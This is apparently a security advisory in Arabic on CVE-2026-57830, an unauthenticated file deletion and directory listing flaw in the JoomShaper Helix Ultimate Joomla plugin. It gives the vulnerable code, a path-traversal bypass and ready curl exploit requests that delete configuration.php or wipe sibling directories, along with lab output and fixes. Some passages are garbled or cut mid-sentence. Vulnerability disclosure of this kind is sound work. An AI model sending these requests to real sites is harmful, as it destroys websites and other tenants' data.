
حذف غير مصادق عليه للملفات/المجلدات بشكل تعسفي في Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
هذه ثغرة DoS مؤكدة + وصول إلى نظام الملفات عبر المستأجرين، وليست RCE. نظرية تصعيد RCE (حذف configuration.php لإعادة كشف مثبت Joomla) تم اختبارها مباشرة وتم دحضها — انظر "تصعيد RCE — تم اختباره ودحضه" أدناه. لا تمثل هذا على أنه RCE في أي تقرير دون إعادة استخلاص سلسلة حقيقية أولاً.
ترقية الشدة (2026-07-06، المرور الثاني): المعامل path ليس محصوراً بأمان في الجذر الشبكي لـ Joomla كما تم تقديره أولاً — مرشح الإدخال PATH في Joomla لا يحجب مكون تجاوز واحد /../، لذا تصل هذه الثغرة (القراءة: قائمة كاملة بالدليل؛ الكتابة: حذف ملف أو مسح محتويات مجلد بشكل تكراري) إلى أي شيء في نظام الملفات يمكن لمستخدم خادم الويب الوصول إليه، وليس فقط الملفات داخل تثبيت Joomla. في أي ترتيب استضافة مشتركة حيث توجد مواقع/مستأجرون متعددون كأدلة شقيقة تحت نفس مستخدم نظام التشغيل (شائع جداً: "نطاقات إضافية" في cPanel، اشتراكات Plesk تشارك مستخدم نظام، معظم الاستضافة الاقتصادية)، موقع واحد مدعوم بـ Helix-Ultimate يتيح لزائر مجهول تدمير كل موقع آخر على نفس الحساب. انظر "تجاوز المسار يهرب من JPATH_ROOT بالكامل" أدناه للإثبات الحي.
المكون: JoomShaper Helix Ultimate Framework (plg_system_helixultimate)، مرفق مع كل قالب JoomShaper لـ Joomla تقريباً (مبني على Helix Ultimate).
الإصدار المختبر: 2.2.6 (GitHub JoomShaper/helix-ultimate، HEAD كما في 2026-07، آخر دفع 2026-06-30)
المؤلف: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php يكشف عن deleteMedia() و getFolders() و createFolder() من خلال خطاف توزيع com_ajax في Joomla داخل helixultimate.php::onAfterRoute(). هذه الطرق الثلاث تستدعي فقط Session::checkToken() (فحص CSRF بسيط، يرضيه رمز الجلسة الخاص بأي زائر مجهول — يمكن حصده من HTML الصفحة الرئيسية للموقع) — لا يوجد فحص authorise() / تسجيل دخول على الإطلاق. هذا غير متسق مع الطريقة الشقيقة uploadMedia() في نفس الصنف، والتي تتطلب بشكل صحيح core.edit على com_templates.
لأن هذا إضافة نظام (system plugin)، يتم تشغيل onAfterRoute() في كل طلب بغض النظر عن القالب النشط حالياً — مسار الكود الضعيف يمكن الوصول إليه طالما أن الإضافة مثبتة ومفعلة (وهي كذلك، افتراضياً، في أي موقع يستخدم قالب JoomShaper مبني على Helix-Ultimate).
plugins/system/helixultimate/helixultimate.php (حوالي السطر 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
يمر $path عبر مرشح الإدخال PATH في Joomla (InputFilter::cleanPath()). شيئان مستقلان يجعلان هذا خطيراً:
path مباشرة تحت JPATH_ROOT، لذا أي مسار مطلق من الجذر (/configuration.php، /administrator/...، /media/...) يمكن الوصول إليه بالفعل.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) يسمح بتشغيل واحد بالضبط من أحرف النقطة/الشرطة/الألفا-رقمية بعد الكتلة الأولى [A-Za-z0-9_/-]+ مباشرة — وشرطة مائلة في البداية / وحدها ترضي تلك الكتلة الأولى، لذا سلسلة مثل /../sibling_dir تطابق بشكل نظيف: / (الكتلة 1)، .. (التشغيل النقطي المسموح به)، /sibling_dir (مقطع ذيل عادي). كُتب المرشح ليرفض مقطعاً يبدأ مكون جديداً بنقطة، لكنه لم يتوقع أبداً نقطتين فرديتين تقعان مباشرة بعد أول حرف في السلسلة. تسلسل (كل مقطع لاحق بعد أول تشغيل نقطي يجب أن يبدأ بحرف غير نقطة) — لذا يقتصر الهروب على بالضبط فوق ، لكن كل شيء تحت ذلك المستوى (عمق تعسفي) يمكن الوصول إليه بشكل طبيعي، لأن المقاطع الإضافية هي مجرد مكونات مسار عادية غير نقطية.configuration.php → تعطل كامل فوري للموقع (خطأ فادح "No configuration")، طلب HTTP واحد، بدون مصادقة.type=folder) → مثلاً /administrator، /components، /media → أكثر تدميراً، يدمر التثبيت بشكل فعال.view-media (Media::getFolders()): يسرد جميع ملفات الصور، جميع أسماء المجلدات الفرعية، ومسارات الخادم المطلقة تحت أي مسار نسبي للجذر، بدون مصادقة (يُستخدم أدناه كإشارة كشف آمنة).تم الاختبار ضد مثيل Docker مؤقت (Joomla 5.4.6 + إضافة Helix Ultimate 2.2.6، تثبيت جديد، جلسة متصفح مجهولة بالكامل — لا تسجيل دخول، لا ملف تعريف ارتباط بخلاف الذي يمنحه Joomla لكل زائر):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
تم إنشاء دليل شقيق للجذر الشبكي لـ Joomla (/var/www/canary_sibling، شقيق /var/www/html)، مملوك لنفس مستخدم خادم الويب (www-data) لمحاكاة تخطيط استضافة مشتركة واقعي، معبأ بملف وصورة ودليل فرعي:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
قراءة/تعداد كامل لدليل تماماً خارج تثبيت Joomla، بما في ذلك مسارات الخادم المطلقة المحلولة، بدون مصادقة على الإطلاق.
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
النتيجة: تم حذف كل ملف داخل canary_sibling (الملف العادي، الصورة، والدليل الفرعي). فقط مجلد canary_sibling الفارغ على المستوى الأعلى نفسه نجا، وذلك فقط لأنه في هذا المختبر كان موجوداً مباشرة تحت /var/www، مملوكاً من root — إزالة إدخال الدليل الفارغ يتطلب إذن كتابة على الأصل الخاص به، وهو ما لا يمتلكه www-data على /var/www. في تخطيط استضافة مشتركة حقيقية (مثل /home/user/domains/siteA.com/public_html و /home/user/domains/siteB.com/public_html كشقيقين حقيقيين، كلاهما مملوك بالكامل لنفس مستخدم الحساب)، لا يوجد هذا الحاجز الأخير ويمكن إزالة شجرة الدليل الكاملة للموقع الشقيق.
النظرية التالية الواضحة كانت: في موقع لم يتم إزالة المجلد installation/ منه بعد الإعداد، حذف configuration.php سيجعل معالج التثبيت قابل للوصول مرة أخرى، مما يسمح للمهاجم بإكماله وإنشاء مستخدم فائق جديد. تم اختبار هذا مباشرة في المختبر ولم يصمد:
installation/ مرة أخرى إلى الجذر الشبكي (محاكاة موقع نسي إزالته) — كان configuration.php لا يزال موجوداً وصالحاً في هذه النقطة.302 Found -> /installation/index.php لكل طلب على حدة، بما في ذلك طلب POST الخاص بالاستغلال إلى option=com_ajax&helix=ultimate&...&action=delete-media. مسار الكود الضعيف لا ينفذ أبداً في هذه الحالة — يقوم جوهر Joomla بقصر الدائرة على كل شيء أولاً.installation/ موجوداً: الموقع مفتوح بالكامل للاستيلاء من قبل أي زائر، مستقلاً تماماً عن هذه الثغرة — هذا سوء تكوين سابق غير مرتبط بـ Joomla، وليس شيئاً تسببه هذه الثغرة أو تكون مطلوبة له.installation/ غائباً (الحالة الطبيعية الآمنة): يمكن لهذه الثغرة فقط حذف الملفات، ولا يمكنها إنشاء مجلد installation/ مرة أخرى — لا توجد طريقة لإعادة كشف المثبت من بدائية حذف فقط.الاستنتاج: لا توجد مجموعة من الحالات تحول هذا إلى RCE. سقف التأثير المؤكد والصادق هو DoS كامل للموقع غير موثق وغير مشروط ومضمون (بالإضافة إلى كشف المعلومات غير الموثق المذكور أعلاه). هذا بالفعل نتيجة شديدة الحرجة (Critical) بمزاياها الخاصة ولا تحتاج إلى ادعاء RCE مضخم.
createFolder() ليست قابلة للوصول غير موثق (المسودة السابقة كانت خاطئة)ادعت نسخة سابقة من هذا التقرير أن Media::createFolder() كانت أيضاً قابلة للوصول غير موثق (كبَدَاء ثالثة إلى جانب الحذف/القراءة). كان ذلك غير صحيح وتم تصحيحه بعد مرور كامل على توصيل توزيع الإضافة:
createFolder()، وأحواض كتابة محتوى الملف الفعلية في قاعدة الكود (Request.php: fwrite()، File::write() لملفات نمط القالب/الخطوط الشبكية/ذاكرة التخزين المؤقت CSS)، جميعها موجودة في plugins/system/helixultimate/src/Platform/Request.php، ويتم توزيعها فقط عبر Platform::handleRequests() <- onAfterRespond().onAfterRespond() يتطلب صراحة $this->app->isClient('administrator')، و onAfterRoute() يعيد توجيه أي زائر غير مسجل دخول بعيداً قبل تلك النقطة بشكل منفصل. هذا المسار مصادق من مدير حقيقي — تم تأكيده بقراءة شرط البوابة الدقيق، وليس فقط غياب استدعاء authorise() داخل الطريقة نفسها (على عكس deleteMedia()/getFolders() في جانب الموقع، التي ليس لديها بوابة على الإطلاق).مجموعة القدرات غير الموثقة المؤكدة، النهائية: حذف (ملف أو مجلد تكراري) + قراءة (قائمة مجلد/صورة) فقط. لا توجد بدائية كتابة محتوى غير موثقة في أي مكان في هذه الإضافة. هذا هو السبب بالتحديد في عدم العثور على سلسلة RCE حتى بعد الصيد خصيصاً لواحدة — يحتاج RCE أساسياً إلى بدائية كتابة، وهذا النوع من الثغرات لا يمتلك واحدة.
helix_ultimate_detect.pyغير مدمر. يستخدم action=view-media (قائمة مجلد/ملف) كإشارة إثبات — لا يحذف أي شيء أبداً.
helix_ultimate_delete_poc.py (تم الاحتفاظ بالاسم للاستمرارية؛ يؤكد DoS فقط)مدمر. يتطلب --delete <path> صريحاً للمس أي شيء. العلم --rce يحذف configuration.php ويستكشف /installation/ فقط للتحقق ما إذا كان هذا المجلد موجوداً بالفعل (في هذه الحالة كان الموقع مفتوحاً بشكل مستقل بغض النظر عن هذه الثغرة) — لا يمثل تصعيداً حقيقياً سببته هذه الثغرة؛ انظر "تصعيد RCE — تم اختباره ودحضه" أعلاه. استخدم فقط بإذن كتابي.
يلزم إصلاحان مستقلان، أي منهما بمفرده كافٍ لوقف هذا:
uploadMedia() إلى deleteMedia() و getFolders() في src/Platform/Media.php — على الأقل core.edit/core.delete على com_templates (أو com_media، مطابقاً لنمط Blog::remove_image())، قبل إجراء أي عملية على نظام الملفات.Amin İsayev / Proxima Cyber Security — 2026. للاستخدام التعليمي / المصرح به للاختبار فقط.
/…..../../../…JPATH_ROOTisClient('site')) في onAfterRoute() يربط فقط خمسة إجراءات: upload-blog-image، remove-blog-image، view-media (Media::getFolders)، delete-media (Media::deleteMedia)، upload-media (Media::uploadMedia، الذي يتحقق من core.edit/com_templates). create-folder ليس بينها.